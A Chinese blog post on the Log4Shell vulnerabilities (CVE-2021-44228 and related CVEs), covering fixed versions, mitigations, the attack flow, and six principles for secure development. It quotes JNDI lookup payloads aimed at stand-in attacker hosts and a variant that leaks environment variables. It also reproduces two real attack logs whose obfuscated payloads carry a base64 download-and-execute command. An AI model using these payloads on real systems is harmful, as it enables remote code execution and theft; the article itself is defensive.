vlambda博客
学习文章列表

如何预防Log4j等安全问题出现的六个原则


一、Log4j安全问题及攻击原理介绍


2021年12 月 9 日,在 Twitter 上公开了在流行的 Java 日志库log4j[https://logging.apache.org/log4j/2.x/]中发现[https://web.archive.org/web/20211209230040/https://twitter.com/P0rZ9/status/1468949890571337731]了一个零日漏洞。包含在 2.0 和 2.14.1 之间的所有库版本都会受到影响。Log4j 2.15.0 已经发布[https://logging.apache.org/log4j/2.x/changes-report.html#a2.15.0],不再存在这个漏洞。正如GitHub 上发布[https://github.com/advisories/GHSA-jfh8-c2jp-5v3q]的 POC 所指出的,当 log4j 记录攻击者控制的字符串值时,它可能会导致远程代码执行[https://www.sciencedirect.com/topics/computer-science/remote-code-execution](RCE)。该问题影响log4j-core[https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core]

log4j 贡献者动员起来以确保修复可用并快速合并[https://github.com/apache/logging-log4j2/pull/608/commits]。Log4j 2.15.0已经在 Maven Central 中可用,[https://search.maven.org/artifact/org.apache.logging.log4j/log4j/2.15.0/pom]鼓励所有用户在可能的情况下立即升级。尽管问题已得到解决,但团队继续努力通过默认禁用 JNDI 查找和禁用消息查找来进一步强化库。这些更改在 log4j 2.16.0 中可用[https://lists.apache.org/thread/d6v4r6nosxysyq9rvnr779336yf0woz4]。由于 CVE-2021-45105[https://cve-2021-45105/] 发现 Apache Log4j2 版本 2.0-alpha1 到 2.16.0(不包括 2.12.3)不能防止不受控制的递归自引用查找。这允许控制线程上下文映射数据的攻击者在解释精心制作的字符串时导致拒绝服务。此问题已在 Log4j 2.17.0[https://logging.apache.org/log4j/2.x/security.htmlhttps://logging.apache.org/log4j/2.x/security.html]和 2.12.3 中修复。12 月 29 日发现了 Log4j 漏洞 CVE-2021-44832[https://nvd.nist.gov/vuln/detail/CVE-2021-44832](影响版本 2.0-beta7 到 2.17.0):有权修改日志配置文件的攻击者可以使用带有引用可以执行远程代码的 JNDI URI 的数据源。


如果无法立即升级,另一种缓解选项是 JndiLookup 从类路径中删除该类:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

最初认为另一种解决方法是启动 Java 应用程序或服务器,并将log4j2.formatMsgNoLookups系统属性设置为true:

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

正如CVE-[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046]2021-45046 中指出的那样,这被证明是错误的 

此属性在 2.10.0 以下的 log4j 版本中不可用,对于无法立即升级的这些版本的用户, 有两种策略可用[https://news.ycombinator.com/item?id=29507263]:“修改每个日志记录模式布局以表示%m{nolookups}而不是%m在您的日志记录配置文件中”或“替换类的非易受攻击或空实现,org.apache.logging.log4j.core.lookup.JndiLookup以您的类加载器使用您的替换而不是类的易受攻击版本的方式。”

Lunasec最初 报告说[https://www.lunasec.io/docs/blog/log4j-zero-day/] ,在高于 6u211、7u201 和 8u191 的 JDK 版本上运行的服务器不受 LDAP RCE 攻击向量的影响,因为com.sun.jndi.ldap.object.trustURLCodebase 默认情况下禁用,因此 JNDI 无法使用 LDAP 加载远程代码库。但是,社区的进一步分析表明,所有 JDK 版本都容易受到这种攻击。Alvaro Muñoz 在 Twitter 上评论说,使用最新的 JDK仍然可能进行反序列化攻击[https://twitter.com/pwntester/status/1470172110479937538]:“ldap 服务器将返回一个序列化对象,该对象将被反序列化。不过,RCE 取决于类路径中的小工具可用性。”

但是,正如Veracode 的 Michael Stepankin[https://www.veracode.com/blog/research/exploiting-jndi-injections-java]所报告的,还有其他针对此漏洞的攻击向量可能导致 RCE。OSS 贡献者、DataStax 高级软件工程师Lari Hotari[https://twitter.com/lhotari/status/1469652527977308162]也曾在此消息的早期版本中评论说,即使在以后的 JDK 版本中可能会阻止通过 LDAP 进行的原始 RCE 攻击,但仍然可以利用 log4j 漏洞来攻击泄漏敏感信息,例如环境变量,可能用于其他攻击,例如 ${jndi:ldap://${env:user}.xyz.collab.com/a}. 因此,即使应用程序运行在前面提到的 JDK 版本上,也建议立即缓解。

该漏洞将由CVE-2021-44228[https://nvd.nist.gov/vuln/detail/CVE-2021-44228]识别,在Log4Shell上俗称,它通过以下方式利用[https://www.kaspersky.com/blog/log4shell-critical-vulnerability-in-apache-log4j/43124/]Java 命名和目录接口[https://docs.oracle.com/javase/tutorial/jndi/overview/index.html#:~:text=The%20Java%20Naming%20and%20Directory,any%20specific%20directory%20service%20implementation.]代码中的缺陷:

  1. 用户将数据发送到服务器(TCP[https://en.wikipedia.org/wiki/Transmission_Control_Protocol]、HTTP[https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol]或任何其他允许这样做的协议)

  2. 服务器通过 log4j 在日志中写入请求中包含恶意负载的数据:${jndi:ldap://malicioussite.com/exploit}(malicioussite.com 是攻击者控制的服务器)

  3. log4j 漏洞被触发,服务器通过 JNDI 向恶意站点发出请求

  4. 响应包含远程 Java 类文件的路径,该文件将被注入到服务器进程中

  5. 注入的有效载荷允许假定的攻击者执行任意代码

或翻译成代码:

import org.apache.log4j.Logger; import java.io.*; import java.sql.SQLException; import java.util.*; public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getLogger(log4jExample.class.getName());  /** * A simple HTTP endpoint that reads the request's User Agent and logs it back. * This is basically pseudo-code to explain the vulnerability, and not a full example.  * @param he HTTP Request Object  */  public void handle(HttpExchange he) throws IOException { string userAgent = he.getRequestHeader("user-agent");         // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.            // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}             log.info("Request User Agent:" + userAgent);             String response = "<h1>Hello There, " + userAgent + "!</h1>";             he.sendResponseHeaders(200, response.length());              OutputStream os = he.getResponseBody();              os.write(response.getBytes());              os.close();            }            }

或如瑞士政府计算机应急响应小组所述:[http://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png]



 

鉴于 Java 和 log4j 的普遍使用以及漏洞利用的便利性,其影响至关重要,所有用户都应立即解决。越来越 多的网络扫描[https://twitter.com/_mattata/status/1469144854672379905] 试图利用主要来自 Tor 网络的漏洞。[https://twitter.com/DTCERT/status/1469258597930614787] 过去曾利用 类似的漏洞导致数据泄露,例如[https://nvd.nist.gov/vuln/detail/cve-2017-5638]Equifax 数据泄露[https://en.wikipedia.org/wiki/2017_Equifax_data_breach#Data_breach]

在网络上进行了各种扫描; 已知受影响的服务包括 Steam、Apple iCloud[https://news.ycombinator.com/item?id=29499867]或 Minecraft 等超过 1.8.8 版本的[https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/]应用程序。Snyk 的高级开发倡导者Brian Vermeer[https://twitter.com/BrianVerm/status/1469760652935893000]在Snyk 博客[https://snyk.io/blog/log4j-rce-log4shell-vulnerability-cve-2021-4428/]上报告说,Apache Struts 2、Apache Solr 和 Apache Druid 都受到了影响。在受影响的开源项目(例如Paper[https://github.com/PaperMC/Paper/commit/b475c6a683fa34156b964f751985f36a784ca0e0])中开始修补。



随着 log4j 等可能很简单的库的流行,许多云服务和应用程序可能会受到影响,就像 2017 年的 Equifax 数据泄露事件一样,当时影响非常严重。尽管如此,在CVE-2021-44228[https://nvd.nist.gov/vuln/detail/CVE-2021-44228]的情况下,社区已经团结起来帮助传播意识[https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot]并提供缓解计划和修复[https://github.com/apache/logging-log4j2/pull/608]

Red Hat 的开源软件工程师Gunnar Morling提供[https://twitter.com/gunnarmorling/status/1469603432269062146]了一个 Maven Enforcer[https://gist.github.com/gunnarmorling/8026d004776313ebfc65674202134e6d]规则示例,以禁止未来在项目源代码中使用易受攻击的 log4j 版本。Hotari 提供了一个Log4Shell 缓解测试器[https://github.com/lhotari/log4shell-mitigation-tester]。一些个人和组织也提供了补丁,例如Cybereason[https://github.com/Cybereason/Logout4Shell],但在应用任何这些社区修复之前应进行尽职调查。



二、成功阻止Log4j安全问题攻击的六个原则


在Log4j安全事件中,运维的项目的受到多次来自欧美IP的攻击,如果系统没有预先的安全防护,后果可想而知。所幸的是,针对这些攻击被我们的系统统统拦截,并能立即阻止其持续的攻击。我们在开发过程中,让所有的开发人员遵循以下六个原则,以致我们在本次安全事件中不受影响。


说起攻击者的无耻,举两个例子:

例1:

{ "_id" : "61c30ce7b9a6712f3b5efea5", "account" : "NONE", "usertype" : "NONE", "method" : "GET", "uri" : "/", "ip" : "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')", "version" : "HTTP/1.1", "secure" : false, "host" : "XXXXXX", "path" : "/", "country" : "", "position" : "", "headers" : { "host" : [ "XXXXXXX" ], "Bearer" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "Cookie" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "Referer" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "X-Real-IP" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "Connection" : [ "close" ], "User-Agent" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "X-Client-IP" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "X-Api-Version" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "X-Wap-Profile" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "Authentication" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "Originating-IP" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "X-Forwarded-For" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ], "CF-Connecting_IP" : [ "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//135.148.130.60:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMjA5LjE0MS40Ni4xMTQvcmVhZGVyOyBjdXJsIC1PIGh0dHA6Ly8yMDkuMTQxLjQ2LjExNC9yZWFkZXI7IGNobW9kIDc3NyByZWFkZXI7IC4vcmVhZGVyIHJ1bm5lcg==}')" ] }, "createTime" : ISODate("2021-12-22T19:32:55.667+08:00")}

例2:

{ "_id" : "61b7e165deddb44af09e798c", "account" : "NONE", "usertype" : "NONE", "method" : "GET", "uri" : "/", "ip" : "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}", "version" : "HTTP/1.0", "secure" : false, "host" : "", "path" : "/", "country" : "", "position" : "", "headers" : { "Accept" : [ "*/*" ], "Bearer" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "Referer" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "User-Agent" : [ "borchuk/3.1 ${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "X-Api-Version" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "Authentication" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "X-Forwarded-For" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "X-Requested-For" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ], "X-Requested-With" : [ "${jndi:ldap://167.172.44.255:1389/LegitimateJavaClass}" ] }, "createTime" : ISODate("2021-12-14T08:12:21.336+08:00")}

对待无耻的人,就得使用严格的手段。为了开发安全可靠的应用系统,我们要求和培训开发团队人员,时刻遵循以下六个原则:


1、不要绝对的信任。不要以为用户提交的数据或是浏览器自带的信息就是合法的受信任的,服务器收到的一切信息,都有可能是伪造的或者窃取的。


2、为我们真正的服务对象提供服务。也就是说不要为不必要的人提供服务。这些不必要的人,不仅不需要对其提供服务的人,更包括哪些无耻的人。仅提供需要服务的人访问,是我们一个很好的原则。


3、执行任何指令都要考虑安全隐患。这里的执行任何指令包括前端代码和后台语句,都应考虑执行后可能带来的安全隐患问题,我们只有多考虑其带来的安全隐患,才能避免因此而疏忽带来的系统安全问题。未来开发出系统不算本事,开发出安全可靠的系统,才是我们需要努力的。


4、尽量减少不必要的引用。当前开源代码丰富,开发者切记不可胡乱引用,而应尽量减少不必要的引用,非必须不引用,少即是多,从而降低安全风险。


5、越是热门的越是要慎重。站在风口上猪也可以飞起来,不论其对错,但是跟风跑,最后跑死的可能就是你自己。对于热门的框架和技术,为了安全稳妥,还是谨慎接入,逐步先了解后替代,这会大大避免安全问题的发生。


6、始终为突发事件留一手。凡事没有一帆风顺,再固若金汤的系统,都有可能被攻破的一天。如同雅斯贝斯所说:相信科学和技术可以解决一切问题,那么就是对科学和技术的迷信。所以,开发人员始终为突发事件留一手是值得尊敬和推崇的。


希望以上几条,对你也有用。